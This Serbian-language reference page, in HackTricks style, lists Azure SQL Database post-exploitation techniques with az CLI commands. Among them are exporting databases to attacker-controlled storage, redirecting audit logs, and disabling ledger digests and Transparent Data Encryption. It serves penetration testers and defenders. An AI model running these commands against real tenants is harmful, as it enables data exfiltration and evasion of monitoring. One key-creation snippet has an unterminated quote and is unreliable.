# Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Post Exploitation

Za više informacija o SQL bazi podataka pogledajte:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`

Sa ovim dozvolama, napadač može da kreira i ažurira baze podataka unutar kompromitovanog okruženja. Ova aktivnost nakon eksploatacije može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje.
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
Sa ovim dozvolama (`Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`) možete obnoviti obrisanu bazu podataka:
```bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

```
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`

Sa ovim dozvolama, napadač može da kreira i ažurira elasticPools unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, modifikuje konfiguracije baze podataka ili umetne zadnje izlaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje.
```bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
```
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`

Sa ovom dozvolom, možete modifikovati ili omogućiti podešavanja revizije na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da manipuliše konfiguracijama revizije, potencijalno prikrivajući tragove ili preusmeravajući revizione dnevnike na lokaciju pod njihovom kontrolom. Ovo može ometati bezbednosno praćenje ili omogućiti da se prati akcije. NAPOMENA: Da biste omogućili reviziju za Azure SQL Server koristeći Blob Storage, morate povezati nalog za skladištenje gde se revizioni dnevnici mogu sačuvati.
```bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
```
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`

Sa ovom dozvolom, možete modifikovati politike povezivanja Azure SQL Server-a. Ova sposobnost se može iskoristiti za omogućavanje ili promenu podešavanja povezivanja na nivou servera.
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### `Microsoft.Sql/servers/databases/export/action`

Sa ovom dozvolom, možete eksportovati bazu podataka sa Azure SQL Server-a u nalog za skladištenje. Napadač ili ovlašćeni korisnik sa ovom dozvolom može eksfiltrirati osetljive podatke iz baze podataka izvođenjem na lokaciju koju kontroliše, što predstavlja značajan rizik od curenja podataka. Važno je znati ključ za skladištenje kako biste mogli to da uradite.
```bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

```
### `Microsoft.Sql/servers/databases/import/action`

Sa ovom dozvolom, možete uvesti bazu podataka u Azure SQL Server. Napadač ili ovlašćeni korisnik sa ovom dozvolom može potencijalno da otpremi zlonamerne ili manipulirane baze podataka. To može dovesti do preuzimanja kontrole nad osetljivim podacima ili umetanja štetnih skripti ili okidača unutar uvezene baze podataka. Dodatno, možete je uvesti na svoj server u Azure. Napomena: Server mora dozvoliti Azure uslugama i resursima da pristupaju serveru.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
### `Microsoft.Sql/servers/connectionPolicies/write` && `Microsoft.Sql/servers/connectionPolicies/read`

Sa ovim dozvolama, korisnik može da menja i preuzima politike povezivanja Azure SQL servera. Ove dozvole omogućavaju nekome da promeni način na koji klijenti povezuju na server—birajući između metoda kao što su preusmeravanje ili proxy—što bi moglo biti iskorišćeno za slabljenje bezbednosti, preusmeravanje saobraćaja ili presretanje osetljivih podataka ako su pogrešno konfigurisane.
```bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
```
### `Microsoft.Sql/servers/keys/write` && `Microsoft.Sql/servers/keys/read`

Sa ovim dozvolama, korisnik može ažurirati i preuzeti ključeve za enkripciju povezane sa Azure SQL Server-om. Ovi ključevi se često koriste za zaštitu osetljivih podataka putem enkripcije, tako da njihovo manipulisanje može ugroziti bezbednost podataka omogućavanjem neovlašćene dekripcije ili promena rotacije ključeva.
```bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
```
### `Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action`, `Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read`, `Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read`

Ova dozvola omogućava onemogućavanje Ledger Digest za Azure SQL Database, što zaustavlja periodično učitavanje kriptografskih digest zapisa u Azure Blob Storage koji verifikuje integritet podataka.
```bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
```
### `Microsoft.Sql/servers/databases/transparentDataEncryption/write`, `Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read`, `Microsoft.Sql/servers/databases/transparentDataEncryption/read`

Ova dozvola omogućava ovlašćenom korisniku ili napadaču da omogući, onemogući ili izmeni podešavanja Transparent Data Encryption (TDE) na Azure SQL bazi podataka, potencijalno utičući na bezbednost podataka promenom konfiguracija enkripcije.
```bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
```
{{#include ../../../banners/hacktricks-training.md}}
